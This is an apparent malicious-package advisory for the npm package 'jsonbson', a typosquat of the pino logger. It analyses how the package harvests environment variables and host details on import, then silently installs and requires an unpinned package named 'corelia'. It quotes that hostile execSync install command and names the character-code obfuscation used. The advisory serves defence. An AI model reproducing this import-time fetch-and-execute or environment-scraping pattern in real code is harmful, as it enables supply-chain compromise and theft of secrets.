jsonbson
Affected
- introduced
0(semver)
Fixed versions
None listed
Fix
No fixed version is listed.
Advisory
Also known as: GHSA-44rg-m26f-r36f
Malicious package Its source marks this package as malicious: it is not a vulnerability in a legitimate one.
Malicious code in jsonbson (npm)
---
_-= Per source details. Do not edit below this line.=-_
Source: amazon-inspector (8068ec3c82afd849515c6434f74da03c799500583129d4c26f1a168a5ac5ba1b)
On require, lib/writer.js (loaded via main=pino.js) collects a full snapshot of process.env, OS platform, hostname, username, and external MAC addresses, then runs execSync('npm install corelia --no-warnings --no-save --no-progress --loglevel silent') and immediately require('../../corelia/pino.js'). The corelia package is not declared in dependencies and is pulled unpinned from npm at import time, executing arbitrary third-party code with the harvested fingerprint available in-process. The package masquerades as the pino logger (homepage https://getpino.io, main file pino.js, README titled 'log-flare (Pino)', pino-branded image assets) despite being published as jsonbson — a typosquat/brand-impersonation lure. lib/writer.js further uses a String.fromCharCode per-character builder to assemble the only human-readable error string, an obfuscation pattern with no functional purpose other than evading string scans. The combination — branding deception + import-time silent install of an unpinned external package + bulk environment scraping + character-code obfuscation — is an unambiguous stager that grants the publisher arbitrary code execution and access to all environment secrets on every machine that requires this module.
Source: ghsa-malware (7379ad9f4ecbca60d3f95d80445ff8e61a7ce5fd461912e50c8c2b990092b22a)
Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.
Not rated by the source.
0 (semver)None listed
No fixed version is listed.
Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.
Check your own computer: guard packages check
Source: OpenSSF Malicious Packages · Apache-2.0